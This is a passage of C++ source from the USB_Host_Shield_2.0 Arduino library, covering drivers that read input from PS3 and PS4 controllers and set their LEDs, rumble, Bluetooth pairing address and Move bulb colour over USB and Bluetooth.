PS3USB::Poll() { if(!bPollEnable) return 0; if(PS3Connected || PS3NavigationConnected) { uint16_t BUFFER_SIZE = EP_MAXPKTSIZE; pUsb->inTransfer(bAddress, epInfo[ PS3_INPUT_PIPE ].epAddr, &BUFFER_SIZE, readBuf); // input on endpoint 1 if((int32_t)((uint32_t)millis() - timer) > 100) { // Loop 100ms before processing data readReport(); #ifdef PRINTREPORT printReport(); // Uncomment "#define PRINTREPORT" to print the report send by the PS3 Controllers #endif } } else if(PS3MoveConnected) { // One can only set the color of the bulb, set the rumble, set and get the bluetooth address and calibrate the magnetometer via USB if((int32_t)((uint32_t)millis() - timer) > 4000) { // Send at least every 4th second Move_Command(writeBuf, MOVE_REPORT_BUFFER_SIZE); // The Bulb and rumble values, has to be written again and again, for it to stay turned on timer = (uint32_t)millis(); } } return 0; } void PS3USB::readReport() { ButtonState = (uint32_t)(readBuf[2] | ((uint16_t)readBuf[3] << 8) | ((uint32_t)readBuf[4] << 16)); //Notify(PSTR("\r\nButtonState", 0x80); //PrintHex(ButtonState, 0x80); if(ButtonState != OldButtonState) { ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable OldButtonState = ButtonState; } } void PS3USB::printReport() { // Uncomment "#define PRINTREPORT" to print the report send by the PS3 Controllers #ifdef PRINTREPORT for(uint8_t i = 0; i < PS3_REPORT_BUFFER_SIZE; i++) { D_PrintHex (readBuf[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); #endif } bool PS3USB::getButtonPress(ButtonEnum b) { return (ButtonState & pgm_read_dword(&PS3_BUTTONS[(uint8_t)b])); } bool PS3USB::getButtonClick(ButtonEnum b) { uint32_t button = pgm_read_dword(&PS3_BUTTONS[(uint8_t)b]); bool click = (ButtonClickState & button); ButtonClickState &= ~button; // Clear "click" event return click; } uint8_t PS3USB::getAnalogButton(ButtonEnum a) { return (uint8_t)(readBuf[(pgm_read_byte(&PS3_ANALOG_BUTTONS[(uint8_t)a])) - 9]); } uint8_t PS3USB::getAnalogHat(AnalogHatEnum a) { return (uint8_t)(readBuf[((uint8_t)a + 6)]); } uint16_t PS3USB::getSensor(SensorEnum a) { return ((readBuf[((uint16_t)a) - 9] << 8) | readBuf[((uint16_t)a + 1) - 9]); } float PS3USB::getAngle(AngleEnum a) { if(PS3Connected) { float accXval, accYval, accZval; // Data for the Kionix KXPC4 used in the DualShock 3 const float zeroG = 511.5f; // 1.65/3.3*1023 (1,65V) accXval = -((float)getSensor(aX) - zeroG); accYval = -((float)getSensor(aY) - zeroG); accZval = -((float)getSensor(aZ) - zeroG); // Convert to 360 degrees resolution // atan2 outputs the value of -π to π (radians) // We are then converting it to 0 to 2π and then to degrees if(a == Pitch) return (atan2f(accYval, accZval) + PI) * RAD_TO_DEG; else return (atan2f(accXval, accZval) + PI) * RAD_TO_DEG; } else return 0; } bool PS3USB::getStatus(StatusEnum c) { return (readBuf[((uint16_t)c >> 8) - 9] == ((uint8_t)c & 0xff)); } void PS3USB::printStatusString() { char statusOutput[102]; // Max string length plus null character if(PS3Connected || PS3NavigationConnected) { strcpy_P(statusOutput, PSTR("\r\nConnectionStatus: ")); if(getStatus(Plugged)) strcat_P(statusOutput, PSTR("Plugged")); else if(getStatus(Unplugged)) strcat_P(statusOutput, PSTR("Unplugged")); else strcat_P(statusOutput, PSTR("Error")); strcat_P(statusOutput, PSTR(" - PowerRating: ")); if(getStatus(Charging)) strcat_P(statusOutput, PSTR("Charging")); else if(getStatus(NotCharging)) strcat_P(statusOutput, PSTR("Not Charging")); else if(getStatus(Shutdown)) strcat_P(statusOutput, PSTR("Shutdown")); else if(getStatus(Dying)) strcat_P(statusOutput, PSTR("Dying")); else if(getStatus(Low)) strcat_P(statusOutput, PSTR("Low")); else if(getStatus(High)) strcat_P(statusOutput, PSTR("High")); else if(getStatus(Full)) strcat_P(statusOutput, PSTR("Full")); else strcat_P(statusOutput, PSTR("Error")); strcat_P(statusOutput, PSTR(" - WirelessStatus: ")); if(getStatus(CableRumble)) strcat_P(statusOutput, PSTR("Cable - Rumble is on")); else if(getStatus(Cable)) strcat_P(statusOutput, PSTR("Cable - Rumble is off")); else if(getStatus(BluetoothRumble)) strcat_P(statusOutput, PSTR("Bluetooth - Rumble is on")); else if(getStatus(Bluetooth)) strcat_P(statusOutput, PSTR("Bluetooth - Rumble is off")); else strcat_P(statusOutput, PSTR("Error")); } else strcpy_P(statusOutput, PSTR("\r\nError")); USB_HOST_SERIAL.write(statusOutput); } /* Playstation Sixaxis Dualshock and Navigation Controller commands */ void PS3USB::PS3_Command(uint8_t *data, uint16_t nbytes) { // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x01), Report Type (Output 0x02), interface (0x00), datalength, datalength, data) pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x01, 0x02, 0x00, nbytes, nbytes, data, NULL); } void PS3USB::setAllOff() { for(uint8_t i = 0; i < PS3_REPORT_BUFFER_SIZE; i++) writeBuf[i] = pgm_read_byte(&PS3_REPORT_BUFFER[i]); // Reset buffer PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE); } void PS3USB::setRumbleOff() { uint8_t rumbleBuf[EP_MAXPKTSIZE]; memcpy(rumbleBuf, writeBuf, EP_MAXPKTSIZE); rumbleBuf[1] = 0x00; rumbleBuf[2] = 0x00; // Low mode off rumbleBuf[3] = 0x00; rumbleBuf[4] = 0x00; // High mode off PS3_Command(rumbleBuf, PS3_REPORT_BUFFER_SIZE); } void PS3USB::setRumbleOn(RumbleEnum mode) { if((mode & 0x30) > 0x00) { uint8_t power[2] = {0xff, 0x00}; // Defaults to RumbleLow if(mode == RumbleHigh) { power[0] = 0x00; power[1] = 0xff; } setRumbleOn(0xfe, power[0], 0xfe, power[1]); } } void PS3USB::setRumbleOn(uint8_t rightDuration, uint8_t rightPower, uint8_t leftDuration, uint8_t leftPower) { uint8_t rumbleBuf[EP_MAXPKTSIZE]; memcpy(rumbleBuf, writeBuf, EP_MAXPKTSIZE); rumbleBuf[1] = rightDuration; rumbleBuf[2] = rightPower; rumbleBuf[3] = leftDuration; rumbleBuf[4] = leftPower; PS3_Command(rumbleBuf, PS3_REPORT_BUFFER_SIZE); } void PS3USB::setLedRaw(uint8_t value) { writeBuf[9] = value << 1; PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE); } void PS3USB::setLedOff(LEDEnum a) { writeBuf[9] &= ~((uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1)); PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE); } void PS3USB::setLedOn(LEDEnum a) { if(a == OFF) setLedRaw(0); else { writeBuf[9] |= (uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1); PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE); } } void PS3USB::setLedToggle(LEDEnum a) { writeBuf[9] ^= (uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1); PS3_Command(writeBuf, PS3_REPORT_BUFFER_SIZE); } void PS3USB::setBdaddr(uint8_t *bdaddr) { /* Set the internal Bluetooth address */ uint8_t buf[8]; buf[0] = 0x01; buf[1] = 0x00; for(uint8_t i = 0; i < 6; i++) buf[i + 2] = bdaddr[5 - i]; // Copy into buffer, has to be written reversed, so it is MSB first // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0xF5), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0xF5, 0x03, 0x00, 8, 8, buf, NULL); } void PS3USB::getBdaddr(uint8_t *bdaddr) { uint8_t buf[8]; // bmRequest = Device to host (0x80) | Class (0x20) | Interface (0x01) = 0xA1, bRequest = Get Report (0x01), Report ID (0xF5), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_IN, HID_REQUEST_GET_REPORT, 0xF5, 0x03, 0x00, 8, 8, buf, NULL); for(uint8_t i = 0; i < 6; i++) bdaddr[5 - i] = buf[i + 2]; // Copy into buffer reversed, so it is LSB first } void PS3USB::enable_sixaxis() { // Command used to enable the Dualshock 3 and Navigation controller to send data via USB uint8_t cmd_buf[4]; cmd_buf[0] = 0x42; // Special PS3 Controller enable commands cmd_buf[1] = 0x0c; cmd_buf[2] = 0x00; cmd_buf[3] = 0x00; // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0xF4), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data) pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0xF4, 0x03, 0x00, 4, 4, cmd_buf, NULL); } /* Playstation Move Controller commands */ void PS3USB::Move_Command(uint8_t *data, uint16_t nbytes) { pUsb->outTransfer(bAddress, epInfo[ PS3_OUTPUT_PIPE ].epAddr, nbytes, data); } void PS3USB::moveSetBulb(uint8_t r, uint8_t g, uint8_t b) { // Use this to set the Color using RGB values // Set the Bulb's values into the write buffer writeBuf[2] = r; writeBuf[3] = g; writeBuf[4] = b; Move_Command(writeBuf, MOVE_REPORT_BUFFER_SIZE); } void PS3USB::moveSetBulb(ColorsEnum color) { // Use this to set the Color using the predefined colors in "enums.h" moveSetBulb((uint8_t)(color >> 16), (uint8_t)(color >> 8), (uint8_t)(color)); } void PS3USB::moveSetRumble(uint8_t rumble) { #ifdef DEBUG_USB_HOST if(rumble < 64 && rumble != 0) // The rumble value has to at least 64, or approximately 25% (64/255*100) Notify(PSTR("\r\nThe rumble value has to at least 64, or approximately 25%"), 0x80); #endif writeBuf[6] = rumble; // Set the rumble value into the write buffer Move_Command(writeBuf, MOVE_REPORT_BUFFER_SIZE); } void PS3USB::setMoveBdaddr(uint8_t *bdaddr) { /* Set the internal Bluetooth address */ uint8_t buf[11]; buf[0] = 0x05; buf[7] = 0x10; buf[8] = 0x01; buf[9] = 0x02; buf[10] = 0x12; for(uint8_t i = 0; i < 6; i++) buf[i + 1] = bdaddr[i]; // bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x05), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x05, 0x03, 0x00, 11, 11, buf, NULL); } void PS3USB::getMoveBdaddr(uint8_t *bdaddr) { uint8_t buf[16]; // bmRequest = Device to host (0x80) | Class (0x20) | Interface (0x01) = 0xA1, bRequest = Get Report (0x01), Report ID (0x04), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_IN, HID_REQUEST_GET_REPORT, 0x04, 0x03, 0x00, 16, 16, buf, NULL); for(uint8_t i = 0; i < 6; i++) bdaddr[i] = buf[10 + i]; } void PS3USB::getMoveCalibration(uint8_t *data) { uint8_t buf[49]; for(uint8_t i = 0; i < 3; i++) { // bmRequest = Device to host (0x80) | Class (0x20) | Interface (0x01) = 0xA1, bRequest = Get Report (0x01), Report ID (0x10), Report Type (Feature 0x03), interface (0x00), datalength, datalength, data pUsb->ctrlReq(bAddress, epInfo[PS3_CONTROL_PIPE].epAddr, bmREQ_HID_IN, HID_REQUEST_GET_REPORT, 0x10, 0x03, 0x00, 49, 49, buf, NULL); for(uint8_t j = 0; j < 49; j++) data[49 * i + j] = buf[j]; } } void PS3USB::onInit() { if(pFuncOnInit) pFuncOnInit(); // Call the user function else { if(PS3MoveConnected) moveSetBulb(Red); else // Dualshock 3 or Navigation controller setLedOn(static_cast(LED1)); } } ================================================ FILE: libraries/USB_Host_Shield_2.0/PS3USB.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _ps3usb_h_ #define _ps3usb_h_ #include "Usb.h" #include "usbhid.h" #include "PS3Enums.h" /* PS3 data taken from descriptors */ #define EP_MAXPKTSIZE 64 // max size for data via USB /* Names we give to the 3 ps3 pipes - this is only used for setting the bluetooth address into the ps3 controllers */ #define PS3_CONTROL_PIPE 0 #define PS3_OUTPUT_PIPE 1 #define PS3_INPUT_PIPE 2 //PID and VID of the different devices #define PS3_VID 0x054C // Sony Corporation #define PS3_PID 0x0268 // PS3 Controller DualShock 3 #define PS3NAVIGATION_PID 0x042F // Navigation controller #define PS3MOVE_PID 0x03D5 // Motion controller #define PS3_MAX_ENDPOINTS 3 /** * This class implements support for all the official PS3 Controllers: * Dualshock 3, Navigation or a Motion controller via USB. * * One can only set the color of the bulb, set the rumble, set and get the bluetooth address and calibrate the magnetometer via USB on the Move controller. * * Information about the protocol can be found at the wiki: https://github.com/felis/USB_Host_Shield_2.0/wiki/PS3-Information. */ class PS3USB : public USBDeviceConfig { public: /** * Constructor for the PS3USB class. * @param pUsb Pointer to USB class instance. * @param btadr5,btadr4,btadr3,btadr2,btadr1,btadr0 * Pass your dongles Bluetooth address into the constructor, * so you are able to pair the controller with a Bluetooth dongle. */ PS3USB(USB *pUsb, uint8_t btadr5 = 0, uint8_t btadr4 = 0, uint8_t btadr3 = 0, uint8_t btadr2 = 0, uint8_t btadr1 = 0, uint8_t btadr0 = 0); /** @name USBDeviceConfig implementation */ /** * Initialize the PS3 Controller. * @param parent Hub number. * @param port Port number on the hub. * @param lowspeed Speed of the device. * @return 0 on success. */ uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); /** * Release the USB device. * @return 0 on success. */ uint8_t Release(); /** * Poll the USB Input endpoins and run the state machines. * @return 0 on success. */ uint8_t Poll(); /** * Get the device address. * @return The device address. */ virtual uint8_t GetAddress() { return bAddress; }; /** * Used to check if the controller has been initialized. * @return True if it's ready. */ virtual bool isReady() { return bPollEnable; }; /** * Used by the USB core to check what this driver support. * @param vid The device's VID. * @param pid The device's PID. * @return Returns true if the device's VID and PID matches this driver. */ virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return (vid == PS3_VID && (pid == PS3_PID || pid == PS3NAVIGATION_PID || pid == PS3MOVE_PID)); }; /**@}*/ /** * Used to set the Bluetooth address inside the Dualshock 3 and Navigation controller. * Set using LSB first. * @param bdaddr Your dongles Bluetooth address. */ void setBdaddr(uint8_t *bdaddr); /** * Used to get the Bluetooth address inside the Dualshock 3 and Navigation controller. * Will return LSB first. * @param bdaddr Your dongles Bluetooth address. */ void getBdaddr(uint8_t *bdaddr); /** * Used to set the Bluetooth address inside the Move controller. * Set using LSB first. * @param bdaddr Your dongles Bluetooth address. */ void setMoveBdaddr(uint8_t *bdaddr); /** * Used to get the Bluetooth address inside the Move controller. * Will return LSB first. * @param bdaddr Your dongles Bluetooth address. */ void getMoveBdaddr(uint8_t *bdaddr); /** * Used to get the calibration data inside the Move controller. * @param data Buffer to store data in. Must be at least 147 bytes */ void getMoveCalibration(uint8_t *data); /** @name PS3 Controller functions */ /** * getButtonPress(ButtonEnum b) will return true as long as the button is held down. * * While getButtonClick(ButtonEnum b) will only return it once. * * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b), * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b). * @param b ::ButtonEnum to read. * @return getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press. */ bool getButtonPress(ButtonEnum b); bool getButtonClick(ButtonEnum b); /**@}*/ /** @name PS3 Controller functions */ /** * Used to get the analog value from button presses. * @param a The ::ButtonEnum to read. * The supported buttons are: * ::UP, ::RIGHT, ::DOWN, ::LEFT, ::L1, ::L2, ::R1, ::R2, * ::TRIANGLE, ::CIRCLE, ::CROSS, ::SQUARE, and ::T. * @return Analog value in the range of 0-255. */ uint8_t getAnalogButton(ButtonEnum a); /** * Used to read the analog joystick. * @param a ::LeftHatX, ::LeftHatY, ::RightHatX, and ::RightHatY. * @return Return the analog value in the range of 0-255. */ uint8_t getAnalogHat(AnalogHatEnum a); /** * Used to read the sensors inside the Dualshock 3 controller. * @param a * The Dualshock 3 has a 3-axis accelerometer and a 1-axis gyro inside. * @return Return the raw sensor value. */ uint16_t getSensor(SensorEnum a); /** * Use this to get ::Pitch and ::Roll calculated using the accelerometer. * @param a Either ::Pitch or ::Roll. * @return Return the angle in the range of 0-360. */ float getAngle(AngleEnum a); /** * Get the ::StatusEnum from the controller. * @param c The ::StatusEnum you want to read. * @return True if correct and false if not. */ bool getStatus(StatusEnum c); /** Read all the available statuses from the controller and prints it as a nice formated string. */ void printStatusString(); /** Used to set all LEDs and rumble off. */ void setAllOff(); /** Turn off rumble. */ void setRumbleOff(); /** * Turn on rumble. * @param mode Either ::RumbleHigh or ::RumbleLow. */ void setRumbleOn(RumbleEnum mode); /** * Turn on rumble using custom duration and power. * @param rightDuration The duration of the right/low rumble effect. * @param rightPower The intensity of the right/low rumble effect. * @param leftDuration The duration of the left/high rumble effect. * @param leftPower The intensity of the left/high rumble effect. */ void setRumbleOn(uint8_t rightDuration, uint8_t rightPower, uint8_t leftDuration, uint8_t leftPower); /** * Set LED value without using the ::LEDEnum. * @param value See: ::LEDEnum. */ void setLedRaw(uint8_t value); /** Turn all LEDs off. */ void setLedOff() { setLedRaw(0); } /** * Turn the specific ::LEDEnum off. * @param a The ::LEDEnum to turn off. */ void setLedOff(LEDEnum a); /** * Turn the specific ::LEDEnum on. * @param a The ::LEDEnum to turn on. */ void setLedOn(LEDEnum a); /** * Toggle the specific ::LEDEnum. * @param a The ::LEDEnum to toggle. */ void setLedToggle(LEDEnum a); /** * Use this to set the Color using RGB values. * @param r,g,b RGB value. */ void moveSetBulb(uint8_t r, uint8_t g, uint8_t b); /** * Use this to set the color using the predefined colors in ::ColorsEnum. * @param color The desired color. */ void moveSetBulb(ColorsEnum color); /** * Set the rumble value inside the Move controller. * @param rumble The desired value in the range from 64-255. */ void moveSetRumble(uint8_t rumble); /** * Used to call your own function when the controller is successfully initialized. * @param funcOnInit Function to call. */ void attachOnInit(void (*funcOnInit)(void)) { pFuncOnInit = funcOnInit; }; /**@}*/ /** Variable used to indicate if the normal playstation controller is successfully connected. */ bool PS3Connected; /** Variable used to indicate if the move controller is successfully connected. */ bool PS3MoveConnected; /** Variable used to indicate if the navigation controller is successfully connected. */ bool PS3NavigationConnected; protected: /** Pointer to USB class instance. */ USB *pUsb; /** Device address. */ uint8_t bAddress; /** Endpoint info structure. */ EpInfo epInfo[PS3_MAX_ENDPOINTS]; private: /** * Called when the controller is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ void onInit(); void (*pFuncOnInit)(void); // Pointer to function called in onInit() bool bPollEnable; uint32_t timer; // used to continuously set PS3 Move controller Bulb and rumble values uint32_t ButtonState; uint32_t OldButtonState; uint32_t ButtonClickState; uint8_t my_bdaddr[6]; // Change to your dongles Bluetooth address in the constructor uint8_t readBuf[EP_MAXPKTSIZE]; // General purpose buffer for input data uint8_t writeBuf[EP_MAXPKTSIZE]; // General purpose buffer for output data void readReport(); // read incoming data void printReport(); // print incoming date - Uncomment for debugging /* Private commands */ void PS3_Command(uint8_t *data, uint16_t nbytes); void enable_sixaxis(); // Command used to enable the Dualshock 3 and Navigation controller to send data via USB void Move_Command(uint8_t *data, uint16_t nbytes); }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/PS4BT.h ================================================ /* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _ps4bt_h_ #define _ps4bt_h_ #include "BTHID.h" #include "PS4Parser.h" /** * This class implements support for the PS4 controller via Bluetooth. * It uses the BTHID class for all the Bluetooth communication. */ class PS4BT : public BTHID, public PS4Parser { public: /** * Constructor for the PS4BT class. * @param p Pointer to the BTD class instance. * @param pair Set this to true in order to pair with the device. If the argument is omitted then it will not pair with it. One can use ::PAIR to set it to true. * @param pin Write the pin to BTD#btdPin. If argument is omitted, then "0000" will be used. */ PS4BT(BTD *p, bool pair = false, const char *pin = "0000") : BTHID(p, pair, pin) { PS4Parser::Reset(); }; /** * Used to check if a PS4 controller is connected. * @return Returns true if it is connected. */ bool connected() { return BTHID::connected; }; protected: /** @name BTHID implementation */ /** * Used to parse Bluetooth HID data. * @param len The length of the incoming data. * @param buf Pointer to the data buffer. */ virtual void ParseBTHIDData(uint8_t len, uint8_t *buf) { PS4Parser::Parse(len, buf); }; /** * Called when a device is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ virtual void OnInitBTHID() { PS4Parser::Reset(); enable_sixaxis(); // Make the controller send out the entire output report if (pFuncOnInit) pFuncOnInit(); // Call the user function else setLed(Blue); }; /** Used to reset the different buffers to there default values */ virtual void ResetBTHID() { PS4Parser::Reset(); }; /**@}*/ /** @name PS4Parser implementation */ virtual void sendOutputReport(PS4Output *output) { // Source: https://github.com/chrippa/ds4drv uint8_t buf[79]; memset(buf, 0, sizeof(buf)); buf[0] = 0x52; // HID BT Set_report (0x50) | Report Type (Output 0x02) buf[1] = 0x11; // Report ID buf[2] = 0x80; buf[4]= 0xFF; buf[7] = output->smallRumble; // Small Rumble buf[8] = output->bigRumble; // Big rumble buf[9] = output->r; // Red buf[10] = output->g; // Green buf[11] = output->b; // Blue buf[12] = output->flashOn; // Time to flash bright (255 = 2.5 seconds) buf[13] = output->flashOff; // Time to flash dark (255 = 2.5 seconds) output->reportChanged = false; // The PS4 console actually set the four last bytes to a CRC32 checksum, but it seems like it is actually not needed HID_Command(buf, sizeof(buf)); }; /**@}*/ private: void enable_sixaxis() { // Command used to make the PS4 controller send out the entire output report uint8_t buf[2]; buf[0] = 0x43; // HID BT Get_report (0x40) | Report Type (Feature 0x03) buf[1] = 0x02; // Report ID HID_Command(buf, 2); }; void HID_Command(uint8_t *data, uint8_t nbytes) { pBtd->L2CAP_Command(hci_handle, data, nbytes, control_scid[0], control_scid[1]); }; }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/PS4Parser.cpp ================================================ /* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "PS4Parser.h" enum DPADEnum { DPAD_UP = 0x0, DPAD_UP_RIGHT = 0x1, DPAD_RIGHT = 0x2, DPAD_RIGHT_DOWN = 0x3, DPAD_DOWN = 0x4, DPAD_DOWN_LEFT = 0x5, DPAD_LEFT = 0x6, DPAD_LEFT_UP = 0x7, DPAD_OFF = 0x8, }; // To enable serial debugging see "settings.h" //#define PRINTREPORT // Uncomment to print the report send by the PS4 Controller bool PS4Parser::checkDpad(ButtonEnum b) { switch (b) { case UP: return ps4Data.btn.dpad == DPAD_LEFT_UP || ps4Data.btn.dpad == DPAD_UP || ps4Data.btn.dpad == DPAD_UP_RIGHT; case RIGHT: return ps4Data.btn.dpad == DPAD_UP_RIGHT || ps4Data.btn.dpad == DPAD_RIGHT || ps4Data.btn.dpad == DPAD_RIGHT_DOWN; case DOWN: return ps4Data.btn.dpad == DPAD_RIGHT_DOWN || ps4Data.btn.dpad == DPAD_DOWN || ps4Data.btn.dpad == DPAD_DOWN_LEFT; case LEFT: return ps4Data.btn.dpad == DPAD_DOWN_LEFT || ps4Data.btn.dpad == DPAD_LEFT || ps4Data.btn.dpad == DPAD_LEFT_UP; default: return false; } } bool PS4Parser::getButtonPress(ButtonEnum b) { if (b <= LEFT) // Dpad return checkDpad(b); else return ps4Data.btn.val & (1UL << pgm_read_byte(&PS4_BUTTONS[(uint8_t)b])); } bool PS4Parser::getButtonClick(ButtonEnum b) { uint32_t mask = 1UL << pgm_read_byte(&PS4_BUTTONS[(uint8_t)b]); bool click = buttonClickState.val & mask; buttonClickState.val &= ~mask; // Clear "click" event return click; } uint8_t PS4Parser::getAnalogButton(ButtonEnum b) { if (b == L2) // These are the only analog buttons on the controller return ps4Data.trigger[0]; else if (b == R2) return ps4Data.trigger[1]; return 0; } uint8_t PS4Parser::getAnalogHat(AnalogHatEnum a) { return ps4Data.hatValue[(uint8_t)a]; } void PS4Parser::Parse(uint8_t len, uint8_t *buf) { if (len > 1 && buf) { #ifdef PRINTREPORT Notify(PSTR("\r\n"), 0x80); for (uint8_t i = 0; i < len; i++) { D_PrintHex (buf[i], 0x80); Notify(PSTR(" "), 0x80); } #endif if (buf[0] == 0x01) // Check report ID memcpy(&ps4Data, buf + 1, min((uint8_t)(len - 1), MFK_CASTUINT8T sizeof(ps4Data))); else if (buf[0] == 0x11) { // This report is send via Bluetooth, it has an offset of 2 compared to the USB data if (len < 4) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReport is too short: "), 0x80); D_PrintHex (len, 0x80); #endif return; } memcpy(&ps4Data, buf + 3, min((uint8_t)(len - 3), MFK_CASTUINT8T sizeof(ps4Data))); } else { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nUnknown report id: "), 0x80); D_PrintHex (buf[0], 0x80); #endif return; } if (ps4Data.btn.val != oldButtonState.val) { // Check if anything has changed buttonClickState.val = ps4Data.btn.val & ~oldButtonState.val; // Update click state variable oldButtonState.val = ps4Data.btn.val; // The DPAD buttons does not set the different bits, but set a value corresponding to the buttons pressed, we will simply set the bits ourself uint8_t newDpad = 0; if (checkDpad(UP)) newDpad |= 1 << UP; if (checkDpad(RIGHT)) newDpad |= 1 << RIGHT; if (checkDpad(DOWN)) newDpad |= 1 << DOWN; if (checkDpad(LEFT)) newDpad |= 1 << LEFT; if (newDpad != oldDpad) { buttonClickState.dpad = newDpad & ~oldDpad; // Override values oldDpad = newDpad; } } } if (ps4Output.reportChanged) sendOutputReport(&ps4Output); // Send output report } void PS4Parser::Reset() { uint8_t i; for (i = 0; i < sizeof(ps4Data.hatValue); i++) ps4Data.hatValue[i] = 127; // Center value ps4Data.btn.val = 0; oldButtonState.val = 0; for (i = 0; i < sizeof(ps4Data.trigger); i++) ps4Data.trigger[i] = 0; for (i = 0; i < sizeof(ps4Data.xy)/sizeof(ps4Data.xy[0]); i++) { for (uint8_t j = 0; j < sizeof(ps4Data.xy[0].finger)/sizeof(ps4Data.xy[0].finger[0]); j++) ps4Data.xy[i].finger[j].touching = 1; // The bit is cleared if the finger is touching the touchpad } ps4Data.btn.dpad = DPAD_OFF; oldButtonState.dpad = DPAD_OFF; buttonClickState.dpad = 0; oldDpad = 0; ps4Output.bigRumble = ps4Output.smallRumble = 0; ps4Output.r = ps4Output.g = ps4Output.b = 0; ps4Output.flashOn = ps4Output.flashOff = 0; ps4Output.reportChanged = false; }; ================================================ FILE: libraries/USB_Host_Shield_2.0/PS4Parser.h ================================================ /* Copyright (C) 2014 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _ps4parser_h_ #define _ps4parser_h_ #include "Usb.h" #include "controllerEnums.h" /** Buttons on the controller */ const uint8_t PS4_BUTTONS[] PROGMEM = { UP, // UP RIGHT, // RIGHT DOWN, // DOWN LEFT, // LEFT 0x0C, // SHARE 0x0D, // OPTIONS 0x0E, // L3 0x0F, // R3 0x0A, // L2 0x0B, // R2 0x08, // L1 0x09, // R1 0x07, // TRIANGLE 0x06, // CIRCLE 0x05, // CROSS 0x04, // SQUARE 0x10, // PS 0x11, // TOUCHPAD }; union PS4Buttons { struct { uint8_t dpad : 4; uint8_t square : 1; uint8_t cross : 1; uint8_t circle : 1; uint8_t triangle : 1; uint8_t l1 : 1; uint8_t r1 : 1; uint8_t l2 : 1; uint8_t r2 : 1; uint8_t share : 1; uint8_t options : 1; uint8_t l3 : 1; uint8_t r3 : 1; uint8_t ps : 1; uint8_t touchpad : 1; uint8_t reportCounter : 6; } __attribute__((packed)); uint32_t val : 24; } __attribute__((packed)); struct touchpadXY { uint8_t dummy; // I can not figure out what this data is for, it seems to change randomly, maybe a timestamp? struct { uint8_t counter : 7; // Increments every time a finger is touching the touchpad uint8_t 